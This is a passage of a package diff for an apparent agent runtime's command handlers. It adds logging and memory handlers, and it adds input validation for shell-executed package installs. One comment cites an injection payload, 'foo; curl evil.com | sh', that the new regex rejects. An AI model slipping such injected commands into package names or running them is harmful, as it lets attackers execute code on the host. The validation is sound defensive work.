YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IAEH,MAAM,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,MAA8B,CAAC;IAE9D,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAClD,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;QACxC,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,4CAA4C,EAC3D,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;QACF,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,aAAa;YACnB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,mCAAmC;SAC3C,CAAC;IACJ,CAAC;IAED,MAAM,OAAO,GAAoD,EAAE,CAAC;IAEpE,KAAK,MAAM,GAAG,IAAI,MAAM,EAAE,CAAC;QACzB,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,OAAO,CAAC,GAAG,CAAC,GAAG,EAAE,KAAK,EAAE,eAAe,EAAE,CAAC;YAC1C,SAAS;QACX,CAAC;QACD,OAAO,CAAC,GAAG,CAAC,GAAG,MAAM,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IAED,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;QAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,UAAU;KACX,CAAC,CAAC;IACH,OAAO;QACL,EAAE,EAAE,OAAO,CAAC,EAAE;QACd,IAAI,EAAE,aAAa;QACnB,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,EAAE,OAAO,EAAE;KAClB,CAAC;AACJ,CAAC"}
|
|
@@ -1,7 +1,17 @@
|
|
|
1
1
|
import { pushKnowledgeToBackend } from '../utils/knowledge-push.js';
|
|
2
|
+
import { toErrorMessage } from '../utils/response.js';
|
|
3
|
+
import { logCollector } from '../connection.js';
|
|
2
4
|
export async function handleKnowledgeSync(command, api, agentId) {
|
|
5
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
6
|
+
commandId: command.id,
|
|
7
|
+
});
|
|
8
|
+
const startMs = Date.now();
|
|
3
9
|
const paths = command.payload.paths;
|
|
4
10
|
if (paths !== undefined && !Array.isArray(paths)) {
|
|
11
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: invalid paths payload`, {
|
|
12
|
+
commandId: command.id,
|
|
13
|
+
durationMs: Date.now() - startMs,
|
|
14
|
+
});
|
|
5
15
|
return {
|
|
6
16
|
id: command.id,
|
|
7
17
|
type: 'knowledge_sync',
|
|
@@ -11,6 +21,12 @@ export async function handleKnowledgeSync(command, api, agentId) {
|
|
|
11
21
|
}
|
|
12
22
|
try {
|
|
13
23
|
const { filesRead, filesUpdated } = await pushKnowledgeToBackend(api, agentId, paths);
|
|
24
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
25
|
+
commandId: command.id,
|
|
26
|
+
durationMs: Date.now() - startMs,
|
|
27
|
+
filesRead,
|
|
28
|
+
filesUpdated,
|
|
29
|
+
});
|
|
14
30
|
return {
|
|
15
31
|
id: command.id,
|
|
16
32
|
type: 'knowledge_sync',
|
|
@@ -19,11 +35,15 @@ export async function handleKnowledgeSync(command, api, agentId) {
|
|
|
19
35
|
};
|
|
20
36
|
}
|
|
21
37
|
catch (e) {
|
|
38
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${toErrorMessage(e)}`, {
|
|
39
|
+
commandId: command.id,
|
|
40
|
+
durationMs: Date.now() - startMs,
|
|
41
|
+
});
|
|
22
42
|
return {
|
|
23
43
|
id: command.id,
|
|
24
44
|
type: 'knowledge_sync',
|
|
25
45
|
success: false,
|
|
26
|
-
error:
|
|
46
|
+
error: toErrorMessage(e),
|
|
27
47
|
};
|
|
28
48
|
}
|
|
29
49
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"knowledge-sync.js","sourceRoot":"","sources":["../../src/handlers/knowledge-sync.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,sBAAsB,EAAE,MAAM,4BAA4B,CAAC;
|
|
1
|
+
{"version":3,"file":"knowledge-sync.js","sourceRoot":"","sources":["../../src/handlers/knowledge-sync.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,sBAAsB,EAAE,MAAM,4BAA4B,CAAC;AACpE,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,mBAAmB,CACvC,OAAqB,EACrB,GAAa,EACb,OAAe;IAEf,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAE3B,MAAM,KAAK,GAAG,OAAO,CAAC,OAAO,CAAC,KAA6B,CAAC;IAC5D,IAAI,KAAK,KAAK,SAAS,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC;QACjD,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,OAAO,EAAE,GAAG,OAAO,CAAC,IAAI,gCAAgC,EAAE;YAC7F,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;SACjC,CAAC,CAAC;QACH,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,gBAAgB;YACtB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,qDAAqD;SAC7D,CAAC;IACJ,CAAC;IAED,IAAI,CAAC;QACH,MAAM,EAAE,SAAS,EAAE,YAAY,EAAE,GAAG,MAAM,sBAAsB,CAAC,GAAG,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACtF,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;YAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;YAChC,SAAS;YACT,YAAY;SACb,CAAC,CAAC;QACH,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,gBAAgB;YACtB,OAAO,EAAE,IAAI;YACb,IAAI,EAAE,EAAE,SAAS,EAAE,YAAY,EAAE;SAClC,CAAC;IACJ,CAAC;IAAC,OAAO,CAAC,EAAE,CAAC;QACX,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,OAAO,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,cAAc,CAAC,CAAC,CAAC,EAAE,EAAE;YAC5F,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,UAAU,EAAE,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO;SACjC,CAAC,CAAC;QACH,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,gBAAgB;YACtB,OAAO,EAAE,KAAK;YACd,KAAK,EAAE,cAAc,CAAC,CAAC,CAAC;SACzB,CAAC;IACJ,CAAC;AACH,CAAC"}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import type { AgentCommand, AgentResponse } from '../types.js';
|
|
2
|
+
import type { KnowledgeGraphManager } from '../utils/knowledge-graph.js';
|
|
3
|
+
/**
|
|
4
|
+
* Create WS command handlers for memory operations.
|
|
5
|
+
* All 9 handlers delegate to the shared KnowledgeGraphManager instance.
|
|
6
|
+
*/
|
|
7
|
+
export declare function createMemoryHandlers(manager: KnowledgeGraphManager): Record<string, (cmd: AgentCommand) => Promise<AgentResponse>>;
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
// ---------------------------------------------------------------------------
|
|
2
|
+
// Helper
|
|
3
|
+
// ---------------------------------------------------------------------------
|
|
4
|
+
function ok(cmd, data) {
|
|
5
|
+
return {
|
|
6
|
+
id: cmd.id,
|
|
7
|
+
type: cmd.type,
|
|
8
|
+
success: true,
|
|
9
|
+
data: data,
|
|
10
|
+
};
|
|
11
|
+
}
|
|
12
|
+
// ---------------------------------------------------------------------------
|
|
13
|
+
// Handler factory
|
|
14
|
+
// ---------------------------------------------------------------------------
|
|
15
|
+
/**
|
|
16
|
+
* Create WS command handlers for memory operations.
|
|
17
|
+
* All 9 handlers delegate to the shared KnowledgeGraphManager instance.
|
|
18
|
+
*/
|
|
19
|
+
export function createMemoryHandlers(manager) {
|
|
20
|
+
return {
|
|
21
|
+
memory_create_entities: async (cmd) => ok(cmd, await manager.createEntities(cmd.payload.entities)),
|
|
22
|
+
memory_create_relations: async (cmd) => ok(cmd, await manager.createRelations(cmd.payload.relations)),
|
|
23
|
+
memory_add_observations: async (cmd) => ok(cmd, await manager.addObservations(cmd.payload.observations)),
|
|
24
|
+
memory_delete_entities: async (cmd) => {
|
|
25
|
+
await manager.deleteEntities(cmd.payload.entityNames);
|
|
26
|
+
return ok(cmd, {});
|
|
27
|
+
},
|
|
28
|
+
memory_delete_observations: async (cmd) => {
|
|
29
|
+
await manager.deleteObservations(cmd.payload.deletions);
|
|
30
|
+
return ok(cmd, {});
|
|
31
|
+
},
|
|
32
|
+
memory_delete_relations: async (cmd) => {
|
|
33
|
+
await manager.deleteRelations(cmd.payload.relations);
|
|
34
|
+
return ok(cmd, {});
|
|
35
|
+
},
|
|
36
|
+
memory_read_graph: async (cmd) => ok(cmd, manager.readGraph()),
|
|
37
|
+
memory_search_nodes: async (cmd) => ok(cmd, manager.searchNodes(cmd.payload.query)),
|
|
38
|
+
memory_open_nodes: async (cmd) => ok(cmd, manager.openNodes(cmd.payload.names)),
|
|
39
|
+
};
|
|
40
|
+
}
|
|
41
|
+
//# sourceMappingURL=memory.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"memory.js","sourceRoot":"","sources":["../../src/handlers/memory.ts"],"names":[],"mappings":"AASA,8EAA8E;AAC9E,SAAS;AACT,8EAA8E;AAE9E,SAAS,EAAE,CAAC,GAAiB,EAAE,IAAuC;IACpE,OAAO;QACL,EAAE,EAAE,GAAG,CAAC,EAAE;QACV,IAAI,EAAE,GAAG,CAAC,IAAI;QACd,OAAO,EAAE,IAAI;QACb,IAAI,EAAE,IAA+B;KACtC,CAAC;AACJ,CAAC;AAED,8EAA8E;AAC9E,kBAAkB;AAClB,8EAA8E;AAE9E;;;GAGG;AACH,MAAM,UAAU,oBAAoB,CAClC,OAA8B;IAE9B,OAAO;QACL,sBAAsB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CACpC,EAAE,CAAC,GAAG,EAAE,MAAM,OAAO,CAAC,cAAc,CAAC,GAAG,CAAC,OAAO,CAAC,QAAoB,CAAC,CAAC;QAEzE,uBAAuB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CACrC,EAAE,CAAC,GAAG,EAAE,MAAM,OAAO,CAAC,eAAe,CAAC,GAAG,CAAC,OAAO,CAAC,SAAuB,CAAC,CAAC;QAE7E,uBAAuB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CACrC,EAAE,CAAC,GAAG,EAAE,MAAM,OAAO,CAAC,eAAe,CAAC,GAAG,CAAC,OAAO,CAAC,YAAkC,CAAC,CAAC;QAExF,sBAAsB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE;YACpC,MAAM,OAAO,CAAC,cAAc,CAAC,GAAG,CAAC,OAAO,CAAC,WAAuB,CAAC,CAAC;YAClE,OAAO,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrB,CAAC;QAED,0BAA0B,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE;YACxC,MAAM,OAAO,CAAC,kBAAkB,CAAC,GAAG,CAAC,OAAO,CAAC,SAAkC,CAAC,CAAC;YACjF,OAAO,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrB,CAAC;QAED,uBAAuB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE;YACrC,MAAM,OAAO,CAAC,eAAe,CAAC,GAAG,CAAC,OAAO,CAAC,SAAuB,CAAC,CAAC;YACnE,OAAO,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;QACrB,CAAC;QAED,iBAAiB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CAAC,EAAE,CAAC,GAAG,EAAE,OAAO,CAAC,SAAS,EAAE,CAAC;QAE9D,mBAAmB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CAAC,EAAE,CAAC,GAAG,EAAE,OAAO,CAAC,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,KAAe,CAAC,CAAC;QAE7F,iBAAiB,EAAE,KAAK,EAAE,GAAG,EAAE,EAAE,CAAC,EAAE,CAAC,GAAG,EAAE,OAAO,CAAC,SAAS,CAAC,GAAG,CAAC,OAAO,CAAC,KAAiB,CAAC,CAAC;KAC5F,CAAC;AACJ,CAAC"}
|
|
@@ -1,5 +1,21 @@
|
|
|
1
1
|
import { handleGatewayRestartCommand } from '../utils/gateway-restart-handler.js';
|
|
2
|
-
|
|
3
|
-
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
3
|
+
export async function handleOnboardingComplete(command) {
|
|
4
|
+
const startMs = Date.now();
|
|
5
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
6
|
+
commandId: command.id,
|
|
7
|
+
});
|
|
8
|
+
const response = await handleGatewayRestartCommand(command);
|
|
9
|
+
const durationMs = Date.now() - startMs;
|
|
10
|
+
if (response.success) {
|
|
11
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
12
|
+
commandId: command.id,
|
|
13
|
+
durationMs,
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
else {
|
|
17
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${response.error ?? ''}`, { commandId: command.id, durationMs });
|
|
18
|
+
}
|
|
19
|
+
return response;
|
|
4
20
|
}
|
|
5
21
|
//# sourceMappingURL=onboarding.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"onboarding.js","sourceRoot":"","sources":["../../src/handlers/onboarding.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;
|
|
1
|
+
{"version":3,"file":"onboarding.js","sourceRoot":"","sources":["../../src/handlers/onboarding.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,wBAAwB,CAAC,OAAqB;IAClE,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,MAAM,QAAQ,GAAG,MAAM,2BAA2B,CAAC,OAAO,CAAC,CAAC;IAC5D,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,IAAI,QAAQ,CAAC,OAAO,EAAE,CAAC;QACrB,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;YAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,UAAU;SACX,CAAC,CAAC;IACL,CAAC;SAAM,CAAC;QACN,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,YAAY,QAAQ,CAAC,KAAK,IAAI,EAAE,EAAE,EACjD,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;IACJ,CAAC;IACD,OAAO,QAAQ,CAAC;AAClB,CAAC"}
|
|
@@ -2,6 +2,19 @@ import { exec } from 'node:child_process';
|
|
|
2
2
|
import { toErrorMessage } from '../utils/response.js';
|
|
3
3
|
import { logCollector } from '../connection.js';
|
|
4
4
|
const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
|
|
5
|
+
/**
|
|
6
|
+
* Only allow characters that are valid in real package names on apt/npm/pip.
|
|
7
|
+
* This intentionally rejects shell metacharacters (;, |, &, $, `, (, ), <, >, space, …)
|
|
8
|
+
* so that a malicious payload like "foo; curl evil.com | sh" is rejected before
|
|
9
|
+
* it can ever reach the shell.
|
|
10
|
+
*
|
|
11
|
+
* Allowed: letters, digits, @, ., _, /, -, +, :, % (covers npm scopes, semver
|
|
12
|
+
* ranges like "pkg@^1.2", apt epoch prefixes like "2:pkg", pip extras "pkg[extra]")
|
|
13
|
+
*/
|
|
14
|
+
const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
|
|
15
|
+
function isSafePackageName(name) {
|
|
16
|
+
return SAFE_PACKAGE_NAME_RE.test(name);
|
|
17
|
+
}
|
|
5
18
|
function execPackage(cmd, timeoutMs) {
|
|
6
19
|
return new Promise((resolve, reject) => {
|
|
7
20
|
exec(cmd, { timeout: timeoutMs }, (error) => {
|
|
@@ -25,11 +38,21 @@ export async function handlePackageInstall(command) {
|
|
|
25
38
|
data: { installed: { apt: [], npm: [], pip: [] }, errors: [] },
|
|
26
39
|
};
|
|
27
40
|
}
|
|
28
|
-
|
|
41
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
42
|
+
commandId: command.id,
|
|
43
|
+
npm: npm.length ? npm : undefined,
|
|
44
|
+
pip: pip.length ? pip : undefined,
|
|
45
|
+
apt: apt.length ? apt : undefined,
|
|
46
|
+
});
|
|
29
47
|
const installed = { apt: [], npm: [], pip: [] };
|
|
30
48
|
const errors = [];
|
|
31
49
|
const deadline = Date.now() + INSTALL_TIMEOUT_MS;
|
|
32
50
|
async function tryInstall(pkg, cmd, type) {
|
|
51
|
+
// Reject package names containing shell metacharacters before they reach exec().
|
|
52
|
+
if (!isSafePackageName(pkg)) {
|
|
53
|
+
errors.push({ name: pkg, error: 'Invalid package name: contains disallowed characters' });
|
|
54
|
+
return;
|
|
55
|
+
}
|
|
33
56
|
const remaining = deadline - Date.now();
|
|
34
57
|
if (remaining <= 0) {
|
|
35
58
|
errors.push({ name: pkg, error: 'Install timeout exceeded' });
|
|
@@ -49,28 +72,37 @@ export async function handlePackageInstall(command) {
|
|
|
49
72
|
}
|
|
50
73
|
// npm and pip: parallel within each type — independent registries, no global lock
|
|
51
74
|
await Promise.all(npm.map(async (pkg) => {
|
|
52
|
-
|
|
75
|
+
logCollector?.push('package_install_step', 'info', `npm install -g ${pkg}`, {
|
|
76
|
+
commandId: command.id,
|
|
77
|
+
manager: 'npm',
|
|
78
|
+
package: pkg,
|
|
79
|
+
});
|
|
53
80
|
const prevErrors = errors.length;
|
|
54
81
|
await tryInstall(pkg, `npm install -g ${pkg}`, 'npm');
|
|
55
82
|
if (errors.length > prevErrors) {
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
83
|
+
logCollector?.push('package_install_step', 'error', `npm: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
84
|
+
commandId: command.id,
|
|
85
|
+
manager: 'npm',
|
|
86
|
+
package: pkg,
|
|
87
|
+
});
|
|
60
88
|
}
|
|
61
89
|
}));
|
|
62
90
|
await Promise.all(pip.map(async (pkg) => {
|
|
63
|
-
|
|
91
|
+
logCollector?.push('package_install_step', 'info', `pip install ${pkg}`, {
|
|
92
|
+
commandId: command.id,
|
|
93
|
+
manager: 'pip',
|
|
94
|
+
package: pkg,
|
|
95
|
+
});
|
|
64
96
|
const prevErrors = errors.length;
|
|
65
97
|
await tryInstall(pkg, `pip install ${pkg}`, 'pip');
|
|
66
98
|
if (errors.length > prevErrors) {
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
99
|
+
logCollector?.push('package_install_step', 'error', `pip: ${pkg} failed: ${errors[errors.length - 1]?.error}`, {
|
|
100
|
+
commandId: command.id,
|
|
101
|
+
manager: 'pip',
|
|
102
|
+
package: pkg,
|
|
103
|
+
});
|
|
71
104
|
}
|
|
72
105
|
}));
|
|
73
|
-
console.log(`[package_install] done: ${installed.npm.length + installed.apt.length + installed.pip.length} installed, ${errors.length} errors`);
|
|
74
106
|
logCollector?.push('package_install', errors.length ? 'warn' : 'info', `Packages installed: ${installed.npm.length + installed.apt.length + installed.pip.length}, errors: ${errors.length}`, { installed, errorCount: errors.length });
|
|
75
107
|
return {
|
|
76
108
|
id: command.id,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAEtD,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,oBAAoB,CAAC,OAAqB;IAC9D,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,
|
|
1
|
+
{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/handlers/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAEtD;;;;;;;;GAQG;AACH,MAAM,oBAAoB,GAAG,iCAAiC,CAAC;AAE/D,SAAS,iBAAiB,CAAC,IAAY;IACrC,OAAO,oBAAoB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACzC,CAAC;AAED,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,oBAAoB,CAAC,OAAqB;IAC9D,MAAM,QAAQ,GAAG,OAAO,CAAC,OAAO,CAAC,QAMpB,CAAC;IAEd,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAChC,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAChC,MAAM,GAAG,GAAG,QAAQ,EAAE,GAAG,IAAI,EAAE,CAAC;IAEhC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAC7D,OAAO;YACL,EAAE,EAAE,OAAO,CAAC,EAAE;YACd,IAAI,EAAE,iBAAiB;YACvB,OAAO,EAAE,IAAI;YACb,IAAI,EAAE,EAAE,SAAS,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,EAAE,MAAM,EAAE,EAAE,EAAE;SAC/D,CAAC;IACJ,CAAC;IAED,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;QACrB,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;QACjC,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;QACjC,GAAG,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS;KAClC,CAAC,CAAC;IAEH,MAAM,SAAS,GAAoD,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC;IACjG,MAAM,MAAM,GAA2C,EAAE,CAAC;IAC1D,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,kBAAkB,CAAC;IAEjD,KAAK,UAAU,UAAU,CAAC,GAAW,EAAE,GAAW,EAAE,IAA2B;QAC7E,iFAAiF;QACjF,IAAI,CAAC,iBAAiB,CAAC,GAAG,CAAC,EAAE,CAAC;YAC5B,MAAM,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,sDAAsD,EAAE,CAAC,CAAC;YAC1F,OAAO;QACT,CAAC;QACD,MAAM,SAAS,GAAG,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QACxC,IAAI,SAAS,IAAI,CAAC,EAAE,CAAC;YACnB,MAAM,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,0BAA0B,EAAE,CAAC,CAAC;YAC9D,OAAO;QACT,CAAC;QACD,IAAI,CAAC;YACH,MAAM,WAAW,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;YAClC,SAAS,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAC5B,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,MAAM,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,GAAG,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACzD,CAAC;IACH,CAAC;IAED,oFAAoF;IACpF,KAAK,MAAM,GAAG,IAAI,GAAG,EAAE,CAAC;QACtB,MAAM,UAAU,CAAC,GAAG,EAAE,sBAAsB,GAAG,EAAE,EAAE,KAAK,CAAC,CAAC;IAC5D,CAAC;IACD,kFAAkF;IAClF,MAAM,OAAO,CAAC,GAAG,CACf,GAAG,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,EAAE,EAAE;QACpB,YAAY,EAAE,IAAI,CAAC,sBAAsB,EAAE,MAAM,EAAE,kBAAkB,GAAG,EAAE,EAAE;YAC1E,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,OAAO,EAAE,KAAK;YACd,OAAO,EAAE,GAAG;SACb,CAAC,CAAC;QACH,MAAM,UAAU,GAAG,MAAM,CAAC,MAAM,CAAC;QACjC,MAAM,UAAU,CAAC,GAAG,EAAE,kBAAkB,GAAG,EAAE,EAAE,KAAK,CAAC,CAAC;QACtD,IAAI,MAAM,CAAC,MAAM,GAAG,UAAU,EAAE,CAAC;YAC/B,YAAY,EAAE,IAAI,CAChB,sBAAsB,EACtB,OAAO,EACP,QAAQ,GAAG,YAAY,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,EAAE,KAAK,EAAE,EACzD;gBACE,SAAS,EAAE,OAAO,CAAC,EAAE;gBACrB,OAAO,EAAE,KAAK;gBACd,OAAO,EAAE,GAAG;aACb,CACF,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CACH,CAAC;IACF,MAAM,OAAO,CAAC,GAAG,CACf,GAAG,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,EAAE,EAAE;QACpB,YAAY,EAAE,IAAI,CAAC,sBAAsB,EAAE,MAAM,EAAE,eAAe,GAAG,EAAE,EAAE;YACvE,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,OAAO,EAAE,KAAK;YACd,OAAO,EAAE,GAAG;SACb,CAAC,CAAC;QACH,MAAM,UAAU,GAAG,MAAM,CAAC,MAAM,CAAC;QACjC,MAAM,UAAU,CAAC,GAAG,EAAE,e